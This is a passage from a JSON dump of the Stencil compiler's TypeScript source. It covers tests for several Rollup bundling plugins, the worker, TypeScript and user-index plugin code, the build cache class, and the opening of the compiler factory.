    "content": "import * as d from '@stencil/core/declarations';\nimport { mockValidatedConfig } from '@stencil/core/testing';\nimport MagicString from 'magic-string';\n\nimport { appendBuildConditionals } from '../app-data-plugin';\n\nfunction setup() {\n  const config = mockValidatedConfig();\n  const magicString = new MagicString('');\n  return { config, magicString };\n}\n\ndescribe('app data plugin', () => {\n  it('should include the fsNamespace in the appended BUILD constant', () => {\n    const { config, magicString } = setup();\n    appendBuildConditionals(config, {}, magicString);\n    expect(magicString.toString().includes(`export const BUILD = /* ${config.fsNamespace} */`)).toBe(true);\n  });\n\n  it.each([true, false])('should include hydratedAttribute when %p', (hydratedAttribute) => {\n    const conditionals: d.BuildConditionals = {\n      hydratedAttribute,\n    };\n    const { config, magicString } = setup();\n    appendBuildConditionals(config, conditionals, magicString);\n    expect(magicString.toString().includes(`hydratedAttribute: ${String(hydratedAttribute)}`)).toBe(true);\n  });\n\n  it.each([true, false])('should include hydratedClass when %p', (hydratedClass) => {\n    const conditionals: d.BuildConditionals = {\n      hydratedClass,\n    };\n    const { config, magicString } = setup();\n    appendBuildConditionals(config, conditionals, magicString);\n    expect(magicString.toString().includes(`hydratedClass: ${String(hydratedClass)}`)).toBe(true);\n  });\n\n  it('should append hydratedSelectorName', () => {\n    const conditionals: d.BuildConditionals = {\n      hydratedSelectorName: 'boop',\n    };\n    const { config, magicString } = setup();\n    appendBuildConditionals(config, conditionals, magicString);\n    expect(magicString.toString().includes('hydratedSelectorName: \"boop\"')).toBe(true);\n  });\n});\n"
  },
  {
    "path": "src/compiler/bundle/test/core-resolve-plugin.spec.ts",
    "content": "import { mockCompilerCtx, mockValidatedConfig } from '@stencil/core/testing';\n\nimport { createSystem } from '../../../compiler/sys/stencil-sys';\nimport type * as d from '../../../declarations';\nimport { coreResolvePlugin, getHydratedFlagHead, getStencilInternalModule } from '../core-resolve-plugin';\nimport { APP_DATA_CONDITIONAL, STENCIL_JSX_RUNTIME_ID } from '../entry-alias-ids';\n\ndescribe('core resolve plugin', () => {\n  const config: d.ValidatedConfig = mockValidatedConfig({\n    rootDir: '/',\n    sys: createSystem(),\n  });\n\n  it('http localhost with port url path', () => {\n    const compilerExe = 'http://localhost:3333/@stencil/core/compiler/stencil.js?v=1.2.3';\n    const internalModule = 'hydrate/index.js';\n    const m = getStencilInternalModule(config, compilerExe, internalModule);\n    expect(m).toBe('/node_modules/@stencil/core/internal/hydrate/index.js');\n  });\n\n  it('node path', () => {\n    const compilerExe = '/Users/me/node_modules/stencil/compiler/stencil.js';\n    const internalModule = 'client/index.js';\n    const m = getStencilInternalModule(config, compilerExe, internalModule);\n    expect(m).toBe('/Users/me/node_modules/stencil/internal/client/index.js');\n  });\n\n  it('should not set initialValue', () => {\n    const o = getHydratedFlagHead({\n      name: 'yup',\n      selector: 'class',\n      property: 'display',\n      initialValue: null,\n      hydratedValue: 'block',\n    });\n    expect(o).toBe(`.yup{display:block}`);\n  });\n\n  it('should not set hydratedValue', () => {\n    const o = getHydratedFlagHead({\n      name: 'yup',\n      selector: 'class',\n      property: 'display',\n      initialValue: 'none',\n      hydratedValue: null,\n    });\n    expect(o).toBe(`{display:none}`);\n  });\n\n  it('should set class selector', () => {\n    const o = getHydratedFlagHead({\n      name: 'yup',\n      selector: 'class',\n      property: 'display',\n      initialValue: 'none',\n      hydratedValue: 'block',\n    });\n    expect(o).toBe(`{display:none}.yup{display:block}`);\n  });\n\n  it('should set attribute selector', () => {\n    const o = getHydratedFlagHead({\n      name: 'yup',\n      selector: 'attribute',\n      property: 'display',\n      initialValue: 'none',\n      hydratedValue: 'block',\n    });\n    expect(o).toBe(`{display:none}[yup]{display:block}`);\n  });\n\n  describe('jsx-runtime resolution', () => {\n    it('should resolve jsx-runtime to same path as @stencil/core for lazy builds', () => {\n      const compilerCtx = mockCompilerCtx(config);\n      const plugin = coreResolvePlugin(config, compilerCtx, 'client', false, true);\n      const resolved = (plugin.resolveId as Function)(STENCIL_JSX_RUNTIME_ID);\n      expect(resolved).toContain('internal/client/index.js');\n      expect(resolved).toContain(APP_DATA_CONDITIONAL);\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/bundle/test/ext-transforms-plugin.spec.ts",
    "content": "import { mockBuildCtx, mockCompilerCtx, mockModule, mockValidatedConfig } from '@stencil/core/testing';\nimport { normalizePath } from '@utils';\n\nimport * as importPathLib from '../../transformers/stencil-import-path';\nimport { stubComponentCompilerMeta } from '../../types/tests/ComponentCompilerMeta.stub';\nimport { BundleOptions } from '../bundle-interface';\nimport { extTransformsPlugin } from '../ext-transforms-plugin';\n\ndescribe('extTransformsPlugin', () => {\n  function setup(bundleOptsOverrides: Partial<BundleOptions> = {}) {\n    const config = mockValidatedConfig({\n      plugins: [],\n      outputTargets: [\n        {\n          type: 'dist-collection',\n          dir: 'dist/',\n          collectionDir: 'dist/collectionDir',\n        },\n      ],\n      srcDir: '/some/stubbed/path',\n    });\n    const compilerCtx = mockCompilerCtx(config);\n    const buildCtx = mockBuildCtx(config, compilerCtx);\n\n    const compilerComponentMeta = stubComponentCompilerMeta({\n      tagName: 'my-component',\n      componentClassName: 'MyComponent',\n    });\n\n    buildCtx.components = [compilerComponentMeta];\n\n    compilerCtx.moduleMap.set(\n      compilerComponentMeta.sourceFilePath,\n      mockModule({\n        cmps: [compilerComponentMeta],\n      }),\n    );\n\n    const bundleOpts: BundleOptions = {\n      id: 'test-bundle',\n      platform: 'client',\n      inputs: {},\n      ...bundleOptsOverrides,\n    };\n\n    const cssText = ':host { text: pink; }';\n\n    // mock out the read for our CSS\n    jest.spyOn(compilerCtx.fs, 'readFile').mockResolvedValue(cssText);\n\n    // mock out compilerCtx.worker.transformCssToEsm because 1) we want to\n    // test what arguments are passed to it and 2) calling it un-mocked causes\n    // the infamous autoprefixer-spew-issue :(\n    const transformCssToEsmSpy = jest.spyOn(compilerCtx.worker, 'transformCssToEsm').mockResolvedValue({\n      styleText: cssText,\n      output: cssText,\n      map: null,\n      diagnostics: [],\n      imports: [],\n      defaultVarName: 'foo',\n      styleDocs: [],\n    });\n\n    const writeFileSpy = jest.spyOn(compilerCtx.fs, 'writeFile');\n    return {\n      plugin: extTransformsPlugin(config, compilerCtx, buildCtx),\n      config,\n      compilerCtx,\n      buildCtx,\n      bundleOpts,\n      writeFileSpy,\n      transformCssToEsmSpy,\n      cssText,\n    };\n  }\n\n  describe('transform function', () => {\n    it('should set name', () => {\n      expect(setup().plugin.name).toBe('extTransformsPlugin');\n    });\n\n    it('should return early if no data can be gleaned from the id', async () => {\n      const { plugin } = setup();\n      // @ts-ignore we're testing something which shouldn't normally happen,\n      // but might if an argument of the wrong type were passed as `id`\n      const parseSpy = jest.spyOn(importPathLib, 'parseImportPath').mockReturnValue({ data: null });\n      // @ts-ignore the Rollup plugins expect to be called in a Rollup context\n      expect(await plugin.transform('asdf', 'foo.css')).toBe(null);\n      parseSpy.mockRestore();\n    });\n\n    it('should write CSS files if associated with a tag', async () => {\n      const { plugin, writeFileSpy } = setup();\n\n      // @ts-ignore the Rollup plugins expect to be called in a Rollup context\n      await plugin.transform('asdf', '/some/stubbed/path/foo.css?tag=my-component');\n\n      const [path, css] = writeFileSpy.mock.calls[0];\n\n      expect(normalizePath(path)).toBe('./dist/collectionDir/foo.css');\n\n      expect(css).toBe(':host { text: pink; }');\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/bundle/typescript-plugin.ts",
    "content": "import { isDtsFile, isString, normalizeFsPath } from '@utils';\nimport { basename, isAbsolute } from 'path';\nimport type { LoadResult, Plugin, TransformResult } from 'rollup';\nimport ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { tsResolveModuleName } from '../sys/typescript/typescript-resolve-module';\nimport { getModule } from '../transpile/transpiled-module';\nimport type { BundleOptions } from './bundle-interface';\n\n/**\n * Rollup plugin that aids in resolving the TypeScript files and performing the transpilation step.\n * @param compilerCtx the current compiler context\n * @param bundleOpts Rollup bundling options to apply during TypeScript compilation\n * @param config the Stencil configuration for the project\n * @returns the rollup plugin for handling TypeScript files.\n */\nexport const typescriptPlugin = (\n  compilerCtx: d.CompilerCtx,\n  bundleOpts: BundleOptions,\n  config: d.ValidatedConfig,\n): Plugin => {\n  return {\n    name: `${bundleOpts.id}TypescriptPlugin`,\n\n    /**\n     * A rollup build hook for loading TypeScript files and their associated source maps (if they exist).\n     * [Source](https://rollupjs.org/guide/en/#load)\n     * @param id the path of the file to load\n     * @returns the module matched (with its sourcemap if it exists), null otherwise\n     */\n    load(id: string): LoadResult {\n      if (isAbsolute(id)) {\n        const fsFilePath = normalizeFsPath(id);\n        const module = getModule(compilerCtx, fsFilePath);\n\n        if (module) {\n          if (!module.sourceMapFileText) {\n            return { code: module.staticSourceFileText, map: null };\n          }\n\n          const sourceMap: d.SourceMap = JSON.parse(module.sourceMapFileText);\n          sourceMap.sources = sourceMap.sources.map((src) => basename(src));\n          return { code: module.staticSourceFileText, map: sourceMap };\n        }\n      }\n      return null;\n    },\n    /**\n     * Performs TypeScript compilation/transpilation, including applying any transformations against the Abstract Syntax\n     * Tree (AST) specific to stencil\n     * @param _code the code to modify, unused\n     * @param id module's identifier\n     * @returns the transpiled code, with its associated sourcemap. null otherwise\n     */\n    transform(_code: string, id: string): TransformResult {\n      if (isAbsolute(id)) {\n        const fsFilePath = normalizeFsPath(id);\n        const mod = getModule(compilerCtx, fsFilePath);\n        if (mod?.cmps) {\n          const tsResult = ts.transpileModule(mod.staticSourceFileText, {\n            compilerOptions: config.tsCompilerOptions,\n            fileName: mod.sourceFilePath,\n            transformers: {\n              before: bundleOpts.customBeforeTransformers ?? [],\n            },\n          });\n          const sourceMap: d.SourceMap = tsResult.sourceMapText ? JSON.parse(tsResult.sourceMapText) : null;\n          return { code: tsResult.outputText, map: sourceMap };\n        }\n      }\n      return null;\n    },\n  };\n};\n\nexport const resolveIdWithTypeScript = (config: d.ValidatedConfig, compilerCtx: d.CompilerCtx): Plugin => {\n  return {\n    name: `resolveIdWithTypeScript`,\n\n    async resolveId(importee, importer) {\n      if (/\\0/.test(importee) || !isString(importer)) {\n        return null;\n      }\n\n      const tsResolved = tsResolveModuleName(config, compilerCtx, importee, importer);\n      if (tsResolved && tsResolved.resolvedModule) {\n        // this is probably a .d.ts file for whatever reason in how TS resolves this\n        // use this resolved file as the \"importer\"\n        const tsResolvedPath = tsResolved.resolvedModule.resolvedFileName;\n        if (isString(tsResolvedPath) && !isDtsFile(tsResolvedPath)) {\n          return tsResolvedPath;\n        }\n      }\n\n      return null;\n    },\n  };\n};\n"
  },
  {
    "path": "src/compiler/bundle/user-index-plugin.ts",
    "content": "import { join } from '@utils';\nimport type { Plugin } from 'rollup';\n\nimport type * as d from '../../declarations';\nimport { USER_INDEX_ENTRY_ID } from './entry-alias-ids';\n\nexport const userIndexPlugin = (config: d.ValidatedConfig, compilerCtx: d.CompilerCtx): Plugin => {\n  return {\n    name: 'userIndexPlugin',\n\n    async resolveId(importee) {\n      if (importee === USER_INDEX_ENTRY_ID) {\n        const usersIndexJsPath = join(config.srcDir, 'index.ts');\n        const hasUserIndex = await compilerCtx.fs.access(usersIndexJsPath);\n        if (hasUserIndex) {\n          return usersIndexJsPath;\n        }\n        return importee;\n      }\n      return null;\n    },\n\n    async load(id) {\n      if (id === USER_INDEX_ENTRY_ID) {\n        return `//! Autogenerated index`;\n      }\n      return null;\n    },\n  };\n};\n"
  },
  {
    "path": "src/compiler/bundle/worker-plugin.ts",
    "content": "import { generatePreamble, hasError, normalizeFsPath } from '@utils';\nimport type { Plugin, PluginContext, TransformResult } from 'rollup';\n\nimport type * as d from '../../declarations';\nimport type { BundlePlatform } from './bundle-interface';\nimport { optimizeModule } from '../optimize/optimize-module';\nimport { bundleOutput } from './bundle-output';\nimport { STENCIL_INTERNAL_ID } from './entry-alias-ids';\n\nexport const workerPlugin = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  platform: BundlePlatform,\n  inlineWorkers: boolean,\n): Plugin => {\n  if (platform === 'worker' || platform === 'hydrate') {\n    return {\n      name: 'workerPlugin',\n      transform(_, id) {\n        if (id.endsWith('?worker') || id.endsWith('?worker-inline')) {\n          return getMockedWorkerMain();\n        }\n        return null;\n      },\n    };\n  }\n\n  const workersMap = new Map<string, WorkerMeta>();\n\n  return {\n    name: 'workerPlugin',\n\n    buildStart() {\n      workersMap.clear();\n    },\n\n    resolveId(id) {\n      if (id === WORKER_HELPER_ID) {\n        return {\n          id,\n          moduleSideEffects: false,\n        };\n      }\n      return null;\n    },\n\n    load(id) {\n      if (id === WORKER_HELPER_ID) {\n        return WORKER_HELPERS;\n      }\n      return null;\n    },\n\n    async transform(_, id): Promise<TransformResult> {\n      if (/\\0/.test(id)) {\n        return null;\n      }\n\n      // Canonical worker path\n      if (id.endsWith('?worker')) {\n        const workerEntryPath = normalizeFsPath(id);\n        const workerName = getWorkerName(workerEntryPath);\n        const { code, dependencies, workerMsgId } = await getWorker(\n          config,\n          compilerCtx,\n          buildCtx,\n          this,\n          workersMap,\n          workerEntryPath,\n        );\n        const referenceId = this.emitFile({\n          type: 'asset',\n          source: code,\n          name: workerName + '.js',\n        });\n        dependencies.forEach((id) => this.addWatchFile(id));\n        return {\n          code: getWorkerMain(referenceId, workerName, workerMsgId),\n          moduleSideEffects: false,\n        };\n      } else if (id.endsWith('?worker-inline')) {\n        const workerEntryPath = normalizeFsPath(id);\n        const workerName = getWorkerName(workerEntryPath);\n        const { code, dependencies, workerMsgId } = await getWorker(\n          config,\n          compilerCtx,\n          buildCtx,\n          this,\n          workersMap,\n          workerEntryPath,\n        );\n        const referenceId = this.emitFile({\n          type: 'asset',\n          source: code,\n          name: workerName + '.js',\n        });\n        dependencies.forEach((id) => this.addWatchFile(id));\n        return {\n          code: getInlineWorker(referenceId, workerName, workerMsgId),\n          moduleSideEffects: false,\n        };\n      }\n\n      // Proxy worker path\n      const workerEntryPath = getWorkerEntryPath(id);\n      if (workerEntryPath != null) {\n        const worker = await getWorker(config, compilerCtx, buildCtx, this, workersMap, workerEntryPath);\n        if (worker) {\n          if (inlineWorkers) {\n            return {\n              code: getInlineWorkerProxy(workerEntryPath, worker.workerMsgId, worker.exports),\n              moduleSideEffects: false,\n            };\n          } else {\n            return {\n              code: getWorkerProxy(workerEntryPath, worker.exports),\n              moduleSideEffects: false,\n            };\n          }\n        }\n      }\n      return null;\n    },\n  };\n};\n\nconst getWorkerEntryPath = (id: string) => {\n  if (WORKER_SUFFIX.some((p) => id.endsWith(p))) {\n    return normalizeFsPath(id);\n  }\n  return null;\n};\n\ninterface WorkerMeta {\n  code: string;\n  workerMsgId: string;\n  exports: string[];\n  dependencies: string[];\n}\n\nconst getWorker = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  ctx: PluginContext,\n  workersMap: Map<string, WorkerMeta>,\n  workerEntryPath: string,\n): Promise<WorkerMeta> => {\n  let worker = workersMap.get(workerEntryPath);\n  if (!worker) {\n    worker = await buildWorker(config, compilerCtx, buildCtx, ctx, workerEntryPath);\n    workersMap.set(workerEntryPath, worker);\n  }\n  return worker;\n};\n\nconst getWorkerName = (id: string) => {\n  const parts = id.split('/').filter((i) => !i.includes('index'));\n  id = parts[parts.length - 1];\n  return id.replace('.tsx', '').replace('.ts', '');\n};\n\nconst buildWorker = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  ctx: PluginContext,\n  workerEntryPath: string,\n) => {\n  const workerName = getWorkerName(workerEntryPath);\n  const workerMsgId = `stencil.${workerName}`;\n  const build = await bundleOutput(config, compilerCtx, buildCtx, {\n    platform: 'worker',\n    id: workerName,\n    inputs: {\n      [workerName]: workerEntryPath,\n    },\n    inlineDynamicImports: true,\n  });\n\n  if (build) {\n    // Generate commonjs output so we can intercept exports at runtime\n    const output = await build.generate({\n      format: 'commonjs',\n      banner: `${generatePreamble(config)}\\n(()=>{\\n`,\n      footer: '})();',\n      intro: getWorkerIntro(workerMsgId, config.devMode),\n      esModule: false,\n      externalLiveBindings: false,\n    });\n    const entryPoint = output.output[0];\n    if (entryPoint.imports.length > 0) {\n      ctx.error('Workers should not have any external imports: ' + JSON.stringify(entryPoint.imports));\n    }\n\n    // Optimize code\n    let code = entryPoint.code;\n    const results = await optimizeModule(config, compilerCtx, {\n      input: code,\n      sourceTarget: config.buildEs5 ? 'es5' : 'es2017',\n      isCore: false,\n      minify: config.minifyJs,\n      inlineHelpers: true,\n    });\n    buildCtx.diagnostics.push(...results.diagnostics);\n    if (!hasError(results.diagnostics)) {\n      code = results.output;\n    }\n\n    return {\n      code,\n      exports: entryPoint.exports,\n      workerMsgId,\n      dependencies: Object.keys(entryPoint.modules).filter((id) => !/\\0/.test(id) && id !== workerEntryPath),\n    };\n  }\n  return null;\n};\n\nconst WORKER_SUFFIX = ['.worker.ts', '.worker.tsx', '.worker/index.ts', '.worker/index.tsx'];\n\nconst WORKER_HELPER_ID = '@worker-helper';\n\nconst GET_TRANSFERABLES = `\nconst isInstanceOf = (value, className) => {\n  const C = globalThis[className];\n  return C != null && value instanceof C;\n}\nconst getTransferables = (value) => {\n  if (value != null) {\n    if (\n      isInstanceOf(value, \"ArrayBuffer\") ||\n      isInstanceOf(value, \"MessagePort\") ||\n      isInstanceOf(value, \"ImageBitmap\") ||\n      isInstanceOf(value, \"OffscreenCanvas\")\n    ) {\n      return [value];\n    }\n    if (typeof value === \"object\") {\n      if (value.constructor === Object) {\n        value = Object.values(value);\n      }\n      if (Array.isArray(value)) {\n        return value.flatMap(getTransferables);\n      }\n      return getTransferables(value.buffer);\n    }\n  }\n  return [];\n};`;\nconst getWorkerIntro = (workerMsgId: string, isDev: boolean) => `\n${GET_TRANSFERABLES}\nconst exports = {};\nconst workerMsgId = '${workerMsgId}';\nconst workerMsgCallbackId = workerMsgId + '.cb';\naddEventListener('message', async ({data}) => {\n  if (data && data[0] === workerMsgId) {\n    let id = data[1];\n    let method = data[2];\n    let args = data[3];\n    let i = 0;\n    let argsLen = args.length;\n    let value;\n    let err;\n\n    try {\n      for (; i < argsLen; i++) {\n        if (Array.isArray(args[i]) && args[i][0] === workerMsgCallbackId) {\n          const callbackId = args[i][1];\n          args[i] = (...cbArgs) => {\n            postMessage(\n              [workerMsgCallbackId, callbackId, cbArgs]\n            );\n          };\n        }\n      }\n      ${\n        isDev\n          ? `\n      value = exports[method](...args);\n      if (!value || !value.then) {\n        throw new Error('The exported method \"' + method + '\" does not return a Promise, make sure it is an \"async\" function');\n      }\n      value = await value;\n      `\n          : `\n      value = await exports[method](...args);`\n      }\n\n    } catch (e) {\n      value = null;\n      if (e instanceof Error) {\n        err = {\n          isError: true,\n          value: {\n            message: e.message,\n            name: e.name,\n            stack: e.stack,\n          }\n        };\n      } else {\n        err = {\n          isError: false,\n          value: e\n        };\n      }\n      value = undefined;\n    }\n\n    const transferables = getTransferables(value);\n    ${isDev ? `if (transferables.length > 0) console.debug('Transfering', transferables);` : ''}\n\n    postMessage(\n      [workerMsgId, id, value, err],\n      transferables\n    );\n  }\n});\n`;\n\nexport const WORKER_HELPERS = `\nimport { consoleError } from '${STENCIL_INTERNAL_ID}';\n\n${GET_TRANSFERABLES}\n\nlet pendingIds = 0;\nlet callbackIds = 0;\nconst pending = new Map();\nconst callbacks = new Map();\n\nexport const createWorker = (workerPath, workerName, workerMsgId) => {\n  const worker = new Worker(workerPath, {name:workerName});\n\n  worker.addEventListener('message', ({data}) => {\n    if (data) {\n      const workerMsg = data[0];\n      const id = data[1];\n      const value = data[2];\n\n      if (workerMsg === workerMsgId) {\n        const err = data[3];\n        const [resolve, reject, callbackIds] = pending.get(id);\n        pending.delete(id);\n\n        if (err) {\n          const errObj = (err.isError)\n            ? Object.assign(new Error(err.value.message), err.value)\n            : err.value;\n\n          consoleError(errObj);\n          reject(errObj);\n        } else {\n          if (callbackIds) {\n            callbackIds.forEach(id => callbacks.delete(id));\n          }\n          resolve(value);\n        }\n      } else if (workerMsg === workerMsgId + '.cb') {\n        try {\n          callbacks.get(id)(...value);\n        } catch (e) {\n          consoleError(e);\n        }\n      }\n    }\n  });\n\n  return worker;\n};\n\nexport const createWorkerProxy = (worker, workerMsgId, exportedMethod) => (\n  (...args) => new Promise((resolve, reject) => {\n    let pendingId = pendingIds++;\n    let i = 0;\n    let argLen = args.length;\n    let mainData = [resolve, reject];\n    pending.set(pendingId, mainData);\n\n    for (; i < argLen; i++) {\n      if (typeof args[i] === 'function') {\n        const callbackId = callbackIds++;\n        callbacks.set(callbackId, args[i]);\n        args[i] = [workerMsgId + '.cb', callbackId];\n        (mainData[2] = mainData[2] || []).push(callbackId);\n      }\n    }\n    const postMessage = (w) => (\n      w.postMessage(\n        [workerMsgId, pendingId, exportedMethod, args],\n        getTransferables(args)\n      )\n    );\n    if (worker.then) {\n      worker.then(postMessage);\n    } else {\n      postMessage(worker);\n    }\n  })\n);\n`;\n\nconst getWorkerMain = (referenceId: string, workerName: string, workerMsgId: string) => {\n  return `\nimport { createWorker } from '${WORKER_HELPER_ID}';\nexport const workerName = '${workerName}';\nexport const workerMsgId = '${workerMsgId}';\nexport const workerPath = /*@__PURE__*/import.meta.ROLLUP_FILE_URL_${referenceId};\nexport const worker = /*@__PURE__*/createWorker(workerPath, workerName, workerMsgId);\n`;\n};\n\nconst getInlineWorker = (referenceId: string, workerName: string, workerMsgId: string) => {\n  return `\nimport { createWorker } from '${WORKER_HELPER_ID}';\nexport const workerName = '${workerName}';\nexport const workerMsgId = '${workerMsgId}';\nexport const workerPath = /*@__PURE__*/import.meta.ROLLUP_FILE_URL_${referenceId};\nexport let worker;\ntry {\n  // first try directly starting the worker with the URL\n  worker = /*@__PURE__*/createWorker(workerPath, workerName, workerMsgId);\n} catch(e) {\n  // probably a cross-origin issue, try using a Blob instead\n  const blob = new Blob(['importScripts(\"' + workerPath + '\")'], { type: 'text/javascript' });\n  const url = URL.createObjectURL(blob);\n  worker = /*@__PURE__*/createWorker(url, workerName, workerMsgId);\n  URL.revokeObjectURL(url);\n}\n`;\n};\n\nconst getMockedWorkerMain = () => {\n  // for the hydrate build the workers won't actually work\n  // however, we still need to make the {worker} export\n  // kick-in otherwise bundling chokes\n  return `\nexport const workerName = 'mocked-worker';\nexport const workerMsgId = workerName;\nexport const workerPath = workerName;\nexport const worker = { name: workerName };\n`;\n};\n\nconst getWorkerProxy = (workerEntryPath: string, exportedMethods: string[]) => {\n  return `\nimport { createWorkerProxy } from '${WORKER_HELPER_ID}';\nimport { worker, workerName, workerMsgId } from '${workerEntryPath}?worker';\n${exportedMethods\n  .map((exportedMethod) => {\n    return `export const ${exportedMethod} = /*@__PURE__*/createWorkerProxy(worker, workerMsgId, '${exportedMethod}');`;\n  })\n  .join('\\n')}\n`;\n};\n\nconst getInlineWorkerProxy = (workerEntryPath: string, workerMsgId: string, exportedMethods: string[]) => {\n  return `\nimport { createWorkerProxy } from '${WORKER_HELPER_ID}';\nconst workerPromise = import('${workerEntryPath}?worker-inline').then(m => m.worker);\n${exportedMethods\n  .map((exportedMethod) => {\n    return `export const ${exportedMethod} = /*@__PURE__*/createWorkerProxy(workerPromise, '${workerMsgId}', '${exportedMethod}');`;\n  })\n  .join('\\n')}\n`;\n};\n"
  },
  {
    "path": "src/compiler/cache.ts",
    "content": "import { join } from '@utils';\n\nimport type * as d from '../declarations';\nimport { InMemoryFileSystem } from './sys/in-memory-fs';\n\nexport class Cache implements d.Cache {\n  private failed = 0;\n  private skip = false;\n  private sys: d.CompilerSystem;\n  private logger: d.Logger;\n  private buildCacheDir: string;\n\n  constructor(\n    private config: d.ValidatedConfig,\n    private cacheFs: InMemoryFileSystem,\n  ) {\n    this.sys = config.sys;\n    this.logger = config.logger;\n  }\n\n  async initCacheDir() {\n    if (this.config._isTesting || !this.config.cacheDir) {\n      return;\n    }\n\n    this.buildCacheDir = join(this.config.cacheDir, '.build');\n\n    if (!this.config.enableCache || !this.cacheFs) {\n      this.config.logger.info(`cache optimizations disabled`);\n      this.clearDiskCache();\n      return;\n    }\n\n    this.config.logger.debug(`cache enabled, cacheDir: ${this.buildCacheDir}`);\n\n    try {\n      const readmeFilePath = join(this.buildCacheDir, '_README.log');\n      await this.cacheFs.writeFile(readmeFilePath, CACHE_DIR_README);\n    } catch (e) {\n      this.logger.error(`Cache, initCacheDir: ${e}`);\n      this.config.enableCache = false;\n    }\n  }\n\n  async get(key: string) {\n    if (!this.config.enableCache || this.skip) {\n      return null;\n    }\n\n    if (this.failed >= MAX_FAILED) {\n      if (!this.skip) {\n        this.skip = true;\n        this.logger.debug(`cache had ${this.failed} failed ops, skip disk ops for remainder of build`);\n      }\n      return null;\n    }\n\n    let result: string | null;\n    try {\n      result = await this.cacheFs.readFile(this.getCacheFilePath(key));\n      this.failed = 0;\n      this.skip = false;\n    } catch (e: unknown) {\n      this.failed++;\n      result = null;\n    }\n\n    return result;\n  }\n\n  async put(key: string, value: string) {\n    if (!this.config.enableCache) {\n      return false;\n    }\n\n    try {\n      await this.cacheFs.writeFile(this.getCacheFilePath(key), value);\n      return true;\n    } catch (e: unknown) {\n      this.failed++;\n      return false;\n    }\n  }\n\n  async has(key: string) {\n    const val = await this.get(key);\n    return typeof val === 'string';\n  }\n\n  async createKey(domain: string, ...args: any[]) {\n    if (!this.config.enableCache || !this.sys.generateContentHash) {\n      return domain + Math.random() * 9999999;\n    }\n\n    const hash = await this.sys.generateContentHash(JSON.stringify(args), 32);\n    return domain + '_' + hash;\n  }\n\n  async commit() {\n    if (this.config.enableCache) {\n      this.skip = false;\n      this.failed = 0;\n      await this.cacheFs.commit();\n      await this.clearExpiredCache();\n    }\n  }\n\n  clear() {\n    if (this.cacheFs != null) {\n      this.cacheFs.clearCache();\n    }\n  }\n\n  async clearExpiredCache() {\n    if (this.cacheFs == null || this.sys.cacheStorage == null) {\n      return;\n    }\n\n    const now = Date.now();\n\n    const lastClear = (await this.sys.cacheStorage.get(EXP_STORAGE_KEY)) as number;\n    if (lastClear != null) {\n      const diff = now - lastClear;\n      if (diff < ONE_DAY) {\n        return;\n      }\n\n      const fs = this.cacheFs.sys;\n      const cachedFileNames = await fs.readDir(this.buildCacheDir);\n      const cachedFilePaths = cachedFileNames.map((f) => join(this.buildCacheDir, f));\n\n      let totalCleared = 0;\n\n      const promises = cachedFilePaths.map(async (filePath) => {\n        const stat = await fs.stat(filePath);\n        const lastModified = stat.mtimeMs;\n\n        if (lastModified && now - lastModified > ONE_WEEK) {\n          await fs.removeFile(filePath);\n          totalCleared++;\n        }\n      });\n\n      await Promise.all(promises);\n\n      this.logger.debug(`clearExpiredCache, cachedFileNames: ${cachedFileNames.length}, totalCleared: ${totalCleared}`);\n    }\n\n    this.logger.debug(`clearExpiredCache, set last clear`);\n    await this.sys.cacheStorage.set(EXP_STORAGE_KEY, now);\n  }\n\n  async clearDiskCache() {\n    if (this.cacheFs != null) {\n      const hasAccess = await this.cacheFs.access(this.buildCacheDir);\n      if (hasAccess) {\n        await this.cacheFs.remove(this.buildCacheDir);\n        await this.cacheFs.commit();\n      }\n    }\n  }\n\n  private getCacheFilePath(key: string): string {\n    return join(this.buildCacheDir, key) + '.log';\n  }\n\n  getMemoryStats(): string | null {\n    if (this.cacheFs != null) {\n      return this.cacheFs.getMemoryStats();\n    }\n    return null;\n  }\n}\n\nconst MAX_FAILED = 100;\nconst ONE_DAY = 1000 * 60 * 60 * 24;\nconst ONE_WEEK = ONE_DAY * 7;\nconst EXP_STORAGE_KEY = `last_clear_expired_cache`;\n\nconst CACHE_DIR_README = `# Stencil Cache Directory\n\nThis directory contains files which the compiler has\ncached for faster builds. To disable caching, please set\n\"enableCache: false\" within the stencil config.\n\nTo change the cache directory, please update the\n\"cacheDir\" property within the stencil config.\n`;\n"
  },
  {
    "path": "src/compiler/compiler.ts",
    "content": "import { isFunction } from '@utils';\nimport ts from 'typescript';\n\nimport type { Compiler, Config, Diagnostic, ValidatedConfig } from '../declarations';\nimport { CompilerContext } from './build/compiler-ctx';\nimport { createFullBuild } from './build/full-build';\nimport { createWatchBuild } from './build/watch-build';\nimport { Cache } from './cache';\nimport { getConfig } from './sys/config';\nimport { createInMemoryFs } from './sys/in-memory-fs';\nimport { resolveModuleIdAsync } from './sys/resolve/resolve-module-async';\nimport { patchTypescript } from './sys/typescript/typescript-sys';\nimport { createSysWorker } from './sys/worker/sys-worker';\n\n/**\n * Generate a Stencil compiler instance\n * @param userConfig a user-provided Stencil configuration to apply to the compiler instance\n * @returns a new instance of a Stencil compiler\n * @public\n */\nexport const createCompiler = async (userConfig: Config): Promise<Compiler> => {\n  // actual compiler code\n  const config: ValidatedConfig = getConfig(userConfig);\n  const diagnostics: Diagnostic[] = [];\n  const sys = config.sys;\n  const compilerCtx = new CompilerContext();\n\n  if (isFunction(config.sys.setupCompiler)) {\n    config.sys.setupCompiler({ ts });\n  }\n\n  compilerCtx.fs = createInMemoryFs(sys);\n  compilerCtx.cache = new Cache(config, createInMemoryFs(sys));\n  await compilerCtx.cache.initCacheDir();\n\n  sys.resolveModuleId = (opts) => resolveModuleIdAsync(sys, compilerCtx.fs, opts);\n  compilerCtx.worker = createSysWorker(config);\n\n  if (sys.events) {\n    // Pipe events from sys.events to compilerCtx\n    sys.events.on(compilerCtx.events.emit);\n  }\n  patchTypescript(config, compilerCtx.fs);\n\n  const build = () => createFullBuild(config, compilerCtx);\n\n  const createWatcher = () => createWatchBuild(config, compilerCtx);\n\n  const destroy = async () => {\n    compilerCtx.reset();\n    compilerCtx.events.unsubscribeAll();\n    await sys.destroy();\n  };\n\n  const compiler: Compiler = {\n    build,\n    